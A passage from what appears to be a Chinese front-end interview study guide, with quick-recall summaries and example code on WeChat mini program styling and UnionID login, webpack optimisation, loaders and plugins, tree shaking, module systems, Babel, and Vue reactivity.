  1. 图片引入方式:在 WXSS 中,图片引入需要使用外链地址,即通过网络地址加载图片,而不能使用相对路径或本地文件路径。
/* WXSS */
.image {
  background-image: url("https://example.com/image.jpg");
}
  1. 缺少 body 元素:小程序中没有 body 元素,样式可以直接写在页面的组件选择器上。
<!-- WXML -->
<view class="container">
  <text class="text">Hello, Mini Program!</text>
</view>
/* WXSS */
.container {
  background-color: #f5f5f5;
}

.text {
  color: #333;
  font-size: 14px;
}
  1. 样式导入方式:小程序中的样式文件可以使用 @import 导入其他样式文件。
/* WXSS */
@import "common.wxss";

.container {
  /* styles */
}
  1. 不支持部分 CSS 属性和选择器:小程序的 WXSS 并不完全支持所有的 CSS 属性和选择器,例如不支持浮动(float)和定位(position)属性,也不支持伪类选择器(:hover、:before 等)和部分伪元素选择器。
/* WXSS */
.container {
  /* 不支持的属性 */
  /* 不支持的伪类选择器 */
}

需要注意的是,虽然 WXSS 和 CSS 在一些语法和功能上存在差异,但在基本的样式定义和样式属性上,它们仍然具有相似性,并可以使用类似的语法和规则进行样式的定义和控制。

# 4 小程序关联微信公众号如何确定用户的唯一性

⚡ 30 秒速记

  • 用 UnionID。同一个微信开放平台账号下的不同应用(小程序、公众号、App),同一用户的 OpenID 各不相同,但 UnionID 是同一个
  • OpenID:用户在单个应用内的唯一标识,换个应用就变了
  • 前提:小程序和公众号必须绑定到同一个微信开放平台账号下
  • 获取方式:wx.login 拿 code → 服务端用 code + appid + secret 换取 openid 和 unionid
  • 业务实践:用 UnionID 做账号体系的主键,OpenID 只作为各端的辅助标识

小程序关联微信公众号时,应使用 UnionID 作为同一用户的统一标识。 OpenID 只能保证用户在单个应用内唯一,而同一微信开放平台账号下,用户在小程序和公众号中的 UnionID 可以保持一致。小程序通过 wx.login 获取 code,服务端换取 openid 和 session_key,再结合用户信息中的 encryptedData、iv 解密得到 UnionID。前提是小程序与公众号已绑定到同一微信开放平台账号,并且用户满足相应的授权或关联条件。

在小程序中,如果要确定用户的唯一性并与微信公众号关联,可以使用以下步骤:

  1. 在小程序中调用 wx.login 方法获取用户的临时登录凭证 code。
  2. 将获取到的 code 发送到后端服务器。
  3. 后端服务器通过 code 调用微信开放平台的接口,如 https://api.weixin.qq.com/sns/jscode2session,获取用户的 openid 和 session_key。
  4. 后端服务器将 openid 返回给小程序前端,并存储在客户端。
  5. 在小程序中调用 wx.getUserInfo 方法获取用户信息,包括 encryptedData 和 iv。
  6. 将获取到的 encryptedData 和 iv 发送到后端服务器。
  7. 后端服务器使用用户的 session_key 对 encryptedData 进行解密,获取用户的 unionId。
  8. 将用户的 unionId 与用户的其他信息一起存储在后端服务器,用于唯一标识用户并与微信公众号关联。

需要注意的是,获取用户的 unionId 需要满足以下条件:

  • 小程序需要通过微信开放平台的方式进行接入,而不是独立的小程序账号。
  • 小程序和微信公众号需要在同一个微信开放平台账号下,且已经完成了关联。
  • 用户在小程序和微信公众号之间需要存在关联关系,例如用户曾经在微信公众号中授权过。

通过以上步骤,可以确定用户的唯一性并与微信公众号进行关联。后续的操作中,可以根据用户的 unionId 进行个性化的业务逻辑处理。

# 5 微信小程序与vue区别

⚡ 30 秒速记

  • 相同点:都是数据驱动视图、组件化、有生命周期、模板语法相似(wx:for ≈ v-for、wx:if ≈ v-if)
  • 数据更新:Vue 直接改 this.xxx(响应式劫持),小程序必须调 this.setData({}) 手动触发(有性能开销,要避免频繁和大数据量)
  • 双向绑定:Vue 有 v-model,小程序原生没有(只能 bindinput 手动回写,或用 model:value 语法)
  • 架构:小程序是双线程模型 —— 逻辑层(JsCore)和渲染层(WebView)分离,靠 Native 层通信,所以拿不到 DOM/BOM
  • 生命周期:小程序页面有 onLoad/onShow/onReady/onHide/onUnload,还有 onPullDownRefresh 等平台特有钩子
  • 样式:小程序用 wxss + rpx,选择器支持有限

微信小程序和 Vue 都是数据驱动、组件化开发,但运行机制和具体语法不同。 小程序用 {<span class="vp-brace-split" aria-hidden="true"></span>{}<span class="vp-brace-split" aria-hidden="true"></span>}、wx:if 和 bindtap,修改数据通常要调用 setData;Vue 则使用 v-if、v-on 和 v-model,表单双向绑定更直接。两者的生命周期也不同,小程序页面常用 onLoad、onShow、onUnload,Vue 则有 created、mounted、updated 等钩子。实际迁移时不能只替换模板语法,还要重新处理事件、数据回写和平台生命周期。

微信小程序和Vue在一些方面确实存在一些差异,以下是它们之间的一些区别:

  1. 生命周期:微信小程序的生命周期相对简单,包括onLoad、onShow、onReady、onHide、onUnload等几个基本生命周期函数。而Vue拥有更为丰富的生命周期钩子函数,例如created、mounted、updated、destroyed等。
  2. 数据绑定语法:微信小程序使用{<span class="vp-brace-split" aria-hidden="true"></span>{}<span class="vp-brace-split" aria-hidden="true"></span>}来进行数据绑定,而Vue使用简洁的v-bind和v-model指令来实现数据绑定。
  3. 元素显示和隐藏:在微信小程序中,可以使用wx-if和hidden来控制元素的显示和隐藏;而在Vue中,可以使用v-if和v-show来实现相同的功能。
  4. 事件处理:微信小程序中使用bindtap或catchtap来绑定事件处理函数,而Vue使用v-on或@来绑定事件处理函数。
  5. 数据双向绑定:在Vue中,可以通过使用v-model指令实现表单元素与数据的双向绑定,而微信小程序需要手动获取表单元素的值并将其赋给对应的数据变量。

除了上述的区别之外,微信小程序和Vue在一些基本概念和思想上也存在差异,例如组件化开发的方式、数据状态管理的实现方式等。然而,它们都可以用于构建具有交互性和可复用性的前端应用程序,并且都有着广泛的应用和社区支持。

# 七、webpack相关

# 1 优化 webpack 打包体积的思路

⚡ 30 秒速记

  • 分析先行:webpack-bundle-analyzer 看清谁占体积,别凭感觉优化
  • 代码分割:splitChunks 拆公共依赖、动态 import() 按路由懒加载
  • Tree Shaking:用 ESM 语法、package.json 标 sideEffects: false、生产模式开启
  • 按需引入:lodash-es 或 babel-plugin-import,别整包引入
  • 压缩:TerserPlugin 压 JS、CssMinimizerPlugin 压 CSS、image-minimizer 压图
  • 外部化:CDN 引入大依赖配 externals(但要权衡额外的 DNS 和连接开销)
  • 其它:去掉重复依赖(resolve.alias 统一版本)、moment 之类的语言包用 IgnorePlugin 剔除、开启 gzip/brotli

优化 webpack 打包体积,核心是减少无用代码、拆分非首屏资源,并压缩最终产物。 我一般先用 webpack-bundle-analyzer 找出体积来源,再通过 Tree Shaking、按需引入和动态 import() 处理真正占空间的模块。图片、字体、JavaScript 和 CSS 也要分别压缩,生产环境不要打入调试插件或不合适的 source-map。大依赖可以通过 externals 配合 CDN 引入,但要权衡额外请求和连接开销;服务端 Gzip 与缓存主要减少传输和重复加载,并不会缩小原始构建产物。

优化 webpack 打包体积的思路包括:

  1. 提取第三方库或通过引用外部文件的方式引入第三方库:将第三方库单独打包,并通过 CDN 引入,减少打包体积。
  2. 使用代码压缩插件:例如 UglifyJsPlugin,可以压缩 JavaScript 代码,减小文件体积。
  3. 启用服务器端的 Gzip 压缩:通过服务器端配置 Gzip 压缩,减少传输体积。
  4. 按需加载资源文件:使用 require.ensure 或动态导入(import())的方式按需加载资源文件,避免一次性加载所有资源,优化加载速度和体积。
  5. 优化 devtool 中的 source-map:选择合适的 devtool 配置,确保在开发阶段能够提供足够的错误追踪信息,但不会增加过多的打包体积。
  6. 剥离 CSS 文件:将 CSS 文件单独打包,通过 <link> 标签引入,利用浏览器的并行加载能力。
  7. 去除不必要的插件:检查 webpack 配置中的插件,移除不必要的插件或根据环境区分开发环境和生产环境的配置,避免将开发环境的调试工具打包到生产环境中。

除了上述优化思路,还可以考虑以下几点:

  • 使用 Tree Shaking:通过配置 webpack,将未使用的代码在打包过程中消除,减少打包体积。
  • 使用模块化引入:合理使用 ES6 模块化语法或其他模块化方案,按需引入模块,避免不必要的全局引入。
  • 按需加载第三方库:对于较大的第三方库,可以考虑按需加载,而不是一次性全部引入。
  • 优化图片资源:压缩图片,使用适当的图片格式,尽量减小图片体积。
  • 优化字体文件:如果使用了大量的字体文件,可以考虑只引入需要的字体文件,避免全部引入。
  • 使用缓存:通过配置合适的缓存策略,利用浏览器缓存机制,减少重复加载资源。

综合以上优化思路,可以有效减小 webpack 打包生成的文件体积,提升应用性能和加载速度。需要根据具体项目情况和需求,选择合适的优化策略和配置。

# 2 优化 webpack 打包效率的方法

⚡ 30 秒速记

  • 缓存:webpack 5 内置 cache: { type: 'filesystem' },二次构建提升最明显
  • 缩小范围:loader 配 include/exclude 只处理必要目录,resolve.extensions 别列太多
  • 多进程:thread-loader 处理耗时的 loader(babel、ts)
  • 减少解析:resolve.alias 指定精确路径、noParse 跳过不需要解析的大库
  • 开发环境:用 cheap-module-source-map 而不是完整 source-map;关掉不必要的插件
  • 升级工具链:换 esbuild-loader 或 swc-loader 替代 babel-loader,速度提升数倍
  • 终极方案:新项目直接上 Vite 或 Rspack

提升 webpack 打包效率,本质上是减少重复构建和不必要的解析工作。 可以启用文件系统或 loader 缓存,并通过 include、exclude 和精确的搜索路径缩小处理范围,让未改动或无关文件少参与构建。开发环境再配合增量构建、热更新和较轻量的 devtool,同时关闭提取 CSS、计算文件 hash 等非必要工作。耗时的转换可以选择更高效的 loader 或多进程处理,但小项目要考虑线程调度和配置复杂度,未必越多越快。

  1. 使用增量构建和热更新:在开发环境下,使用增量构建和热更新功能,只重新构建修改过的模块,减少整体构建时间。
  2. 避免无意义的工作:在开发环境中,避免执行无意义的工作,如提取 CSS、计算文件 hash 等,以减少构建时间。
  3. 配置合适的 devtool:选择适当的 devtool 配置,提供足够的调试信息,但不会对构建性能产生太大影响。
  4. 选择合适的 loader:根据需要加载的资源类型选择高效的 loader,避免不必要的解析和处理过程。
  5. 启用 loader 缓存:对于耗时较长的 loader,如 babel-loader,可以启用缓存功能,避免重复处理同一文件。
  6. 采用引入方式引入第三方库:对于第三方库,可以通过直接引入的方式(如 CDN 引入)来减少打包时间。
  7. 提取公共代码:通过配置 webpack 的 SplitChunks 插件,提取公共代码,避免重复打包相同的代码,提高打包效率。
  8. 优化构建时的搜索路径:指定需要构建的目录和不需要构建的目录,减少搜索范围,加快构建速度。
  9. 模块化引入需要的部分:使用按需引入的方式,只引入需要的模块或组件,避免加载不必要的代码,提高构建效率。

通过以上优化措施,可以有效提升 webpack 的打包效率,减少开发和构建时间,提升开发效率和用户体验。根据具体项目需求和场景,选择适合的优化方法进行配置和调整。

# 3 编写Loader

⚡ 30 秒速记

  • 本质:一个函数,接收源文件内容(字符串或 Buffer),返回处理后的内容
  • 基本形态:module.exports = function (source) { return transformed }
  • 关键 API:this.callback(err, content, sourceMap) 返回多个值;this.async() 处理异步;this.getOptions() 取配置
  • 必须是纯函数、无状态,不要在 loader 之间用全局变量传数据
  • 执行顺序:从右到左、从下到上(use 数组里最后一个先执行)
  • 类型:pre(前置)→ normal → inline → post(后置)
  • 一句话记:loader 做的是"单个文件的内容转换"

编写 Loader,本质上就是导出一个接收源文件内容并返回转换结果的函数。 例如处理文本文件时,可以把 source 反转,再拼成 module.exports 对应的 JavaScript 模块代码。然后在 webpack 的 module.rules 中用 test 匹配 .txt,并通过 loader 指定该文件的实际路径。这个例子适合说明基本机制,真实项目还要留意内容转义,避免生成无效代码。

编写一个名为 reverse-txt-loader 的 Loader,实现对文本内容进行反转处理的功能。

// reverse-txt-loader.js

module.exports = function (source) {
  // 对源代码进行处理,这里是将字符串反转
  const reversedSource = source.split('').reverse().join('');

  // 返回处理后的 JavaScript 代码作为模块输出
  return `module.exports = '${reversedSource}';`;
};

上述代码定义了一个函数,该函数接收一个参数 source,即原始的文本内容。在函数内部,我们将源代码进行反转处理,并将处理后的结果拼接成一个字符串,再通过 module.exports 输出为一个 JavaScript 模块。

要使用这个 Loader,需要在 webpack 配置中指定该 Loader 的路径:

// webpack.config.js

module.exports = {
  // ...
  module: {
    rules: [
      {
        test: /\.txt$/,
        use: [
          {
            loader: './path/reverse-txt-loader'
          }
        ]
      }
    ]
  }
  // ...
};

上述配置将该 Loader 应用于所有以 .txt 结尾的文件。在构建过程中,当遇到需要加载的 .txt 文件时,会调用 reverse-txt-loader 对文件内容进行反转处理,并将处理后的结果作为模块的输出。

请注意,在实际使用中,需要根据实际路径修改 loader 配置的路径,并将该 Loader 安装在项目中。

# 4 编写plugin

⚡ 30 秒速记

  • 本质:一个带 apply(compiler) 方法的类,在 apply 里注册 webpack 生命周期钩子
  • 基本形态:class MyPlugin { apply(compiler) { compiler.hooks.emit.tapAsync('MyPlugin', (compilation, cb) => { ... cb() }) } }
  • 两个核心对象:compiler(整个构建的生命周期,只有一个)、compilation(单次编译的产物和模块,每次热更新都会新建)
  • 钩子基于 Tapable,分同步(tap)和异步(tapAsync / tapPromise)
  • 常用钩子:entryOption、compile、compilation、emit(产物写入磁盘前,最常用)、done
  • 和 loader 的区别:loader 管单文件转换,plugin 能介入整个构建流程做更广的事

编写 Plugin,核心是创建一个实现 apply(compiler) 方法的类,并在其中订阅 webpack 的生命周期钩子。 比如通过 compiler.hooks.emit.tap 拿到 compilation,就能在产物输出阶段遍历资源并添加注释。插件配置可以由构造函数接收,使用时再通过 plugins 数组传入实例。它能监听多个钩子,但应根据操作发生的时机选择合适钩子,避免职责混乱。

编写一个自定义的 Webpack 插件需要创建一个 JavaScript 类,并在类中实现指定的生命周期方法。下面是一个简单的示例,展示如何编写一个自定义的 Webpack 插件:

class MyPlugin {
  constructor(options) {
    // 在构造函数中可以接收插件的配置参数
    this.options = options;
  }

  // Webpack 在安装插件时会自动调用 apply 方法,并将 compiler 对象传递进来
  apply(compiler) {
    // 在适当的生命周期钩子中挂载插件的功能

    // 示例:在 emit 生命周期钩子中添加自定义的功能
    compiler.hooks.emit.tap('MyPlugin', (compilation) => {
      // compilation 对象包含了当前构建过程的各种信息
      // 可以在这里执行一些自定义的操作

      // 示例:向输出的文件中添加自定义的注释
      const comment = this.options.comment || 'Custom comment';
      for (const asset in compilation.assets) {
        if (compilation.assets.hasOwnProperty(asset)) {
          compilation.assets[asset].source = () => {
            return `/* ${comment} */\n` + compilation.assets[asset].source();
          };
        }
      }
    });
  }
}

以上是一个简单的插件示例,它在构建过程中的 emit 生命周期钩子中向输出的文件添加了自定义的注释。你可以根据实际需求在其他生命周期钩子中实现不同的功能。

要使用该插件,在 webpack 的配置文件中进行如下配置:

const MyPlugin = require('./path/to/MyPlugin');

module.exports = {
  // ...
  plugins: [
    new MyPlugin({
      comment: 'Custom comment',
    }),
  ],
};

这样,当你运行 webpack 构建时,该插件就会被应用,并执行指定的功能。

需要注意的是,Webpack 的插件机制非常灵活,可以根据实际需求编写各种各样的插件。插件可以监听多个生命周期钩子,并在每个生命周期钩子中实现自定义的功能。详细的插件开发文档可以参考 Webpack 官方文档。

# 5 说一下webpack的一些plugin,怎么使用webpack对项目进行优化

⚡ 30 秒速记

  • 常用插件:HtmlWebpackPlugin(生成 HTML 并注入资源)、MiniCssExtractPlugin(抽离 CSS)、DefinePlugin(注入环境变量)、CopyWebpackPlugin(拷贝静态资源)、CleanWebpackPlugin(清理产物)
  • 分析与优化:BundleAnalyzerPlugin(体积分析)、CompressionPlugin(生成 gz/br)、IgnorePlugin(剔除无用语言包)
  • 优化思路见第 1、2 题:体积上做分割 + Tree Shaking + 压缩,速度上做缓存 + 多进程 + 缩小范围
  • 效果要用数据说话:产物体积从多少降到多少、构建耗时从多少降到多少
  • 提醒:webpack 5 已内置持久化缓存和资源模块(asset modules),很多老插件不再需要

我会把 webpack 优化分成减小产物和加快构建两类,再按实际瓶颈选择插件或配置。 体积方面可用 IgnorePlugin 减少无用模块,通过 Tree Shaking、splitChunks 和动态 import() 删除或拆分代码。速度方面可用 thread-loader 并行处理,并结合缓存减少重复工作;devtool 也要在调试体验和构建速度之间取舍。具体方案不能堆插件,应该根据项目场景组合使用。

Webpack 提供了许多插件(Plugins)来帮助优化项目构建和性能。下面列举一些常用的插件以及它们的作用:

构建优化插件:

  • ContextReplacementPlugin:用于限制某些模块的上下文,可以减少编译体积。
  • IgnorePlugin:用于忽略特定的模块,减少打包体积。
  • babel-plugin-import:用于按需加载和使用模块,减少打包体积。
  • babel-plugin-transform-runtime:将代码中的公共部分提取到一个单独的模块中,减少打包体积。
  • happypack、thread-loader:实现并行编译,加快构建速度。
  • uglifyjs-webpack-plugin:通过并行压缩和缓存来加快代码压缩的速度。

性能优化插件:

  • Tree-shaking:通过静态分析代码,去除未使用的代码,减少打包体积。
  • Scope Hoisting:将模块之间的关系进行静态分析,减少打包后的模块数量,提升代码执行速度。
  • webpack-md5-plugin:根据文件内容生成 hash,实现缓存的更新机制。
  • splitChunksPlugin:根据配置将代码拆分成多个块,实现按需加载和并行加载的效果。
  • import()、require.ensure:动态导入模块,实现按需加载,提升页面加载速度。

除了使用这些插件,还可以通过配置 webpack 的其他参数来进一步优化项目,例如:

  • 配置 devtool:选择合适的 Source Map 类型,既满足调试需求又不影响构建速度。
  • 配置 output:使用 chunkhash 或 contenthash 生成文件名,实现长期缓存。
  • 使用 cache-loader、hard-source-webpack-plugin、uglifyjs-webpack-plugin 等插件开启缓存,加速再次构建。
  • 使用 DllWebpackPlugin 和 DllReferencePlugin 预编译公共模块,减少重复构建时间。

综合使用这些插件和优化策略,可以显著提升 webpack 项目的构建效率和性能。但是需要根据具体的项目需求和场景选择合适的插件和优化方法。

# 6 webpack Plugin 和 Loader 的区别

⚡ 30 秒速记

  • Loader:文件转换器,把非 JS 资源转成 webpack 能处理的模块。作用于单个文件,本质是函数,链式执行(从右到左)
  • Plugin:功能扩展器,通过钩子介入构建的整个生命周期。本质是带 apply 方法的类,基于 Tapable 事件流
  • 时机:loader 在模块解析阶段(loading)工作,plugin 贯穿从初始化到产物输出的全过程
  • 举例:babel-loader 转译 JS 语法(loader);HtmlWebpackPlugin 生成 HTML 文件(plugin)
  • 一句话:loader 管"怎么读一个文件",plugin 管"构建过程中还要做什么"

Loader 负责转换单个模块的源码,Plugin 则通过构建事件扩展整个 webpack 流程。 前者通常在 module.rules 中匹配文件,例如把 Sass 转成 CSS,或者把 ES6 转成 ES5。后者监听特定生命周期,可以处理打包优化、资源管理或环境变量注入等更广泛的任务。简单来说,文件内容怎么转换交给 Loader,需要改变构建行为时再用 Plugin。

  • Loader 用于对模块源码进行转换,将非 JavaScript 模块转换为 JavaScript 模块,或对模块进行预处理。它描述了 webpack 如何处理不同类型的文件,比如将 Sass 文件转换为 CSS 文件,或将 ES6 代码转换为 ES5 代码。Loader 是针对单个文件的转换操作,通过配置 rules 来匹配文件并指定相应的 Loader
  • Plugin 用于扩展 webpack 的功能,解决 Loader 无法解决的问题。Plugin 可以监听 webpack 构建过程中的事件,并在特定的时机执行相应的操作。它可以在打包优化、资源管理、环境变量注入等方面提供额外的功能。Plugin 的功能范围更广泛,可以修改 webpack 的内部行为,从而实现更复杂的构建需求。

总的来说,Loader 是用于处理模块源码的转换工具,而 Plugin 则是用于扩展 webpack 的功能,通过监听 webpack 构建过程中的事件来执行相应的操作。它们各自的作用和功能不同,但都可以用于优化和定制 webpack 的构建过程。在配置 webpack 时,我们可以通过配置 Loader 和 Plugin 来满足不同的需求,并实现对模块的转换和构建过程的定制化

# 7 tree shaking 的原理是什么

⚡ 30 秒速记

  • 依赖 ESM 的静态结构:import/export 在编译期就能确定依赖关系,不像 CommonJS 的 require 可以动态拼字符串
  • 流程:标记未被使用的导出(webpack 的 usedExports)→ 压缩阶段由 Terser 真正删掉这些死代码
  • 生效前提:用 ESM 语法(不能被 Babel 转成 CommonJS,要设 modules: false)、production 模式、package.json 标注 sideEffects
  • sideEffects 的作用:告诉打包器"这个文件删掉不会有副作用",否则 webpack 不敢删(比如只 import 一个 CSS 文件就是副作用)
  • 常见失效原因:被 Babel 转成 CJS、库本身只提供 CJS 产物、代码有隐式副作用(顶层修改原型、注册全局)
  • 补充:Rollup 的 Tree Shaking 通常比 webpack 更彻底,所以库打包更常用 Rollup

Tree Shaking 本质上是利用 ESM 的静态结构,在构建阶段找出并删除没有被引用的代码。 因为 import 和 export 的依赖关系在编译期就能确定,打包器可以先标记无用导出,再由压缩工具完成删除。它通常要求保留 ESM 语法并正确配置 sideEffects,否则打包器不敢贸然移除文件。像引入样式或顶层注册全局变量这类操作存在副作用,即使没有使用导出也可能需要保留。

Tree shaking 的原理主要是基于静态分析的方式来实现无用代码的消除,从而减小最终打包生成的文件体积。它的工作原理可以简要概括如下:

  1. 采用 ES6 Module 语法:Tree shaking 只对 ES6 Module 语法进行静态分析和优化。ES6 Module 的特点是可以进行静态分析,这意味着在编译阶段就能够确定模块之间的依赖关系。
  2. 静态分析模块依赖:在编译过程中,通过静态分析可以确定每个模块的依赖关系,以及模块中导出的函数、变量等信息。
  3. 标记未被引用的代码:在静态分析的过程中,会标记出那些未被其他模块引用的函数、变量和代码块。
  4. 消除未被引用的代码:在构建过程中,根据静态分析得到的标记信息,可以对未被引用的代码进行消除。这样,在最终生成的打包文件中,未被引用的代码将不会包含在内。

总结来说,Tree shaking 的核心思想是通过静态分析模块依赖关系,并标记和消除未被引用的代码。这样可以大大减小打包后的文件体积,提升应用的性能和加载速度。需要注意的是,Tree shaking 只对 ES6 Module 语法起作用,而对于 CommonJS 等其他模块系统则无法进行静态分析和优化。

# 8 common.js 和 es6 中模块引入的区别

⚡ 30 秒速记

  • 加载时机:CommonJS 运行时加载(require 是函数调用,可以写在 if 里);ESM 编译期静态解析(import 必须在顶层)
  • 导出内容:CJS 导出的是值的拷贝,之后原值改变不影响已 require 的;ESM 导出的是值的引用(live binding),原值改变会同步
  • this 指向:CJS 顶层 this 是 module.exports;ESM 顶层 this 是 undefined
  • Tree Shaking:ESM 支持(静态可分析),CJS 不支持
  • 循环依赖:ESM 处理得更好(有 TDZ 保护),CJS 会拿到未完成的部分导出
  • 其它:ESM 支持顶层 await;CJS 是同步加载所以不支持
  • 混用要点:Node 里 .mjs/.cjs 后缀或 package.json 的 type 字段区分;ESM 里可以 import CJS,反过来只能用动态 import()

CommonJS 是运行时加载并导出值的拷贝,ESM 则会静态解析依赖并提供实时绑定。 require() 是普通函数,可以按条件动态调用;静态 import 通常写在模块顶层,因此构建工具能提前分析依赖。模块内部的值变化时,ESM 的导入方能看到更新,而 CommonJS 已取得的值通常不会随之变化。也正因为静态结构更明确,需要做 Tree Shaking 时一般会优先保留 ESM。

CommonJS 是一种模块规范,最初被应用于 Nodejs,成为 Nodejs 的模块规范。运行在浏览器端的 JavaScript 由于也缺少类似的规范,在 ES6 出来之前,前端也实现了一套相同的模块规范 (例如: AMD),用来对前端模块进行管理。自 ES6 起,引入了一套新的 ES6 Module规范,在语言标准的层面上实现了模块功能,而且实现得相当简单,有望成为浏览器和服务器通用的模块解决方案。但目前浏览器对 ES6 Module 兼容还不太好,我们平时在 Webpack 中使用的 export和 import,会经过 Babel 转换为 CommonJS 规范

CommonJS 和 ES6 Module 在模块引入的方式和特性上有一些区别,主要包括以下几个方面:

  1. 输出方式:CommonJS 输出的是一个值的拷贝,而 ES6 Module 输出的是值的引用。在 CommonJS 中,模块导出的值是被复制的,即使导出模块后修改了模块内部的值,也不会影响导入模块的值。而在 ES6 Module 中,模块导出的值是引用关系,如果导出模块后修改了模块内部的值,会影响到导入模块的值
  2. 加载时机:CommonJS 模块是运行时加载,也就是在代码执行到导入模块的位置时才会加载模块并执行。而 ES6 Module 是编译时输出接口,也就是在代码编译阶段就会确定模块的依赖关系,并在运行前静态地解析模块的导入和导出
  3. 导出方式:CommonJS 采用的是 module.exports 导出,可以导出任意类型的值。ES6 Module 采用的是 export 导出,只能导出具名的变量、函数、类等,而不能直接导出任意值
  4. 导入方式:CommonJS 使用 require() 来导入模块,可以使用动态语法,允许在条件语句中使用。ES6 Module 使用 import 来导入模块,它是静态语法,只能写在模块的顶层,不能写在条件语句中
  5. this 指向:CommonJS 模块中的 this 指向当前模块的 exports 对象,而不是全局对象。ES6 Module 中的 this 默认是 undefined,在模块中直接使用 this 会报错

总的来说,CommonJS 主要用于服务器端的模块化开发,运行时加载,更适合动态加载模块,而 ES6 Module 是在语言层面上实现的模块化方案,静态编译,更适合在构建时进行模块依赖的静态分析和优化。在前端开发中,通常使用打包工具(如 webpack)将 ES6 Module 转换为 CommonJS 或其他模块规范,以实现在浏览器环境中的兼容性。

# 9 babel原理

⚡ 30 秒速记

  • 三个阶段:解析(Parse)→ 转换(Transform)→ 生成(Generate)
  • 解析:@babel/parser 把源码变成 AST(先词法分析成 token,再语法分析成树)
  • 转换:@babel/traverse 遍历 AST,各个 plugin 通过 visitor 模式匹配节点类型并修改 —— 这一步是 Babel 的核心,插件都作用于此
  • 生成:@babel/generator 把改造后的 AST 转回代码字符串,并生成 source map
  • preset 是插件集合:@babel/preset-env 按 Browserslist 目标自动决定需要哪些转换和 polyfill
  • 语法转换 vs API 补齐:箭头函数这类语法由 Babel 转译;Promise、Array.includes 这类**API**要靠 core-js 提供 polyfill
  • useBuiltIns: 'usage' 可以按代码实际用到的 API 按需注入 polyfill,比 'entry' 更省体积

Babel 的原理是把源码解析成 AST,通过插件改写这棵树,再生成兼容目标环境的新代码。 解析阶段包含词法和语法分析,转换阶段则由插件遍历节点并完成语法替换,这是整个流程的核心。最后,生成器会把新的 AST 还原成代码,并可同时生成 source map。要注意,箭头函数这类语法能直接转译,而 Promise 等运行时能力通常还需要 polyfill。

Babel 是一个 JavaScript 编译器。他把最新版的 javascript 编译成当下可以执行的版本,简言之,利用 babel 就可以让我们在当前的项目中随意的使用这些新最新的 es6,甚至 es7 的语法

ES6、7代码输入 -> babylon进行解析 -> 得到AST(抽象语法树)-> plugin用babel-traverse对AST树进行遍历转译 ->得到新的AST树->用babel-generator通过AST树生成ES5代码

它的工作流程包括解析(parse)、转换(transform)和生成(generate)三个主要步骤

  1. 解析(parse):Babel 使用解析器(如 Babylon)将输入的 JavaScript 代码解析成抽象语法树(AST)。解析器将代码分析成语法结构,并生成对应的 AST,表示代码的抽象语法结构。这个阶段包括词法分析和语法分析。词法分析将源代码转换为一个个标记(tokens)的流,而语法分析则将这个标记流转换为 AST 的形式。
  2. 转换(transform):在转换阶段,Babel 使用插件(plugins)对 AST 进行遍历和转换。插件可以对 AST 进行增删改查的操作,可以根据需求对语法进行转换、代码优化等。Babel 的插件系统非常灵活,可以根据需要自定义插件或使用现有插件来进行代码转换。
  3. 生成(generate):在生成阶段,Babel 使用生成器(如 babel-generator)将经过转换的 AST 转换回字符串形式的 JavaScript 代码。生成器会深度优先遍历 AST,并根据 AST 的节点类型生成对应的代码字符串,最终将代码字符串输出。

通过以上三个步骤,Babel 实现了将最新版本的 JavaScript 代码转换为向后兼容的代码,使得开发者可以在当前环境中使用较新的 JavaScript 特性和语法。同时,Babel 还提供了一些常用的插件和预设(presets),以便开发者快速配置和使用常见的转换规则,如转换 ES6、ES7 语法、处理模块化、转换 JSX 等。

总的来说,Babel 的原理是通过解析、转换和生成的过程,将新版本的 JavaScript 代码转换为兼容旧环境的代码,使开发者能够在当前环境中使用较新的 JavaScript 特性和语法。

# 八、框架相关

# 1 Vue 响应式原理

⚡ 30 秒速记

  • Vue 2:Object.defineProperty 劫持每个属性的 getter/setter,getter 里用 Dep 收集 Watcher,setter 里通知更新
  • Vue 2 的三个硬伤:检测不到属性的新增和删除(要 $set/$delete)、数组要重写七个变异方法、初始化时递归遍历全部属性开销大
  • Vue 3:改用 Proxy 代理整个对象,配 Reflect 保证 this 正确
  • Proxy 的优势:能拦截属性新增删除、支持数组索引和 length、懒代理(访问到嵌套属性时才递归代理,初始化更快)
  • Vue 3 的依赖收集用 WeakMap<target, Map<key, Set<effect>>> 三层结构,track 收集、trigger 派发
  • ref 与 reactive:ref 用于原始值(靠 .value 的 getter/setter 拦截),reactive 用于对象(Proxy)
  • 加分点:Vue 3.4+ 有 Vapor Mode 在探索去掉虚拟 DOM,编译期直接生成 DOM 操作

Vue 响应式的核心是数据劫持配合观察者模式:读取时收集依赖,修改时通知相关视图更新。 Vue 2 用 Object.defineProperty 拦截已有属性,并通过 Dep 保存对应的 Watcher;数组则需要重写变异方法。它无法直接感知属性新增和删除,而且初始化时递归观测深层对象会有额外开销。Vue 3 改用 Proxy 代理对象,能覆盖新增、删除和数组索引等操作,并在访问嵌套对象时再继续代理。

整体思路是数据劫持+观察者模式

对象内部通过 defineReactive 方法,使用 Object.defineProperty 将属性进行劫持(只会劫持已经存在的属性),数组则是通过重写数组方法来实现。当页面使用对应属性时,每个属性都拥有自己的 dep 属性,存放他所依赖的 watcher(依赖收集),当属性变化后会通知自己对应的 watcher 去更新(派发更新)。

class Observer {
  // 观测值
  constructor(value) {
    this.walk(value);
  }
  walk(data) {
    // 对象上的所有属性依次进行观测
    let keys = Object.keys(data);
    for (let i = 0; i < keys.length; i++) {
      let key = keys[i];
      let value = data[key];
      defineReactive(data, key, value);
    }
  }
}
// Object.defineProperty数据劫持核心 兼容性在ie9以及以上
function defineReactive(data, key, value) {
  observe(value); // 递归关键
  // --如果value还是一个对象会继续走一遍odefineReactive 层层遍历一直到value不是对象才停止
  //   思考?如果Vue数据嵌套层级过深 >>性能会受影响
  Object.defineProperty(data, key, {
    get() {
      console.log("获取值");

      //需要做依赖收集过程 这里代码没写出来
      return value;
    },
    set(newValue) {
      if (newValue === value) return;
      console.log("设置值");
      //需要做派发更新过程 这里代码没写出来
      value = newValue;
    },
  });
}
export function observe(value) {
  // 如果传过来的是对象或者数组 进行属性劫持
  if (
    Object.prototype.toString.call(value) === "[object Object]" ||
    Array.isArray(value)
  ) {
    return new Observer(value);
  }
}

# 2 Vue nextTick 原理

⚡ 30 秒速记

  • 解决的问题:Vue 的 DOM 更新是异步批量的,改完数据立刻读 DOM 拿到的还是旧值
  • 机制:数据变化时把 watcher 推进队列去重,然后把"刷新队列"这个任务作为微任务调度;同一 tick 内的多次修改只触发一次更新
  • nextTick(cb) 就是把 cb 也放进同一批微任务队列,排在 DOM 更新之后执行
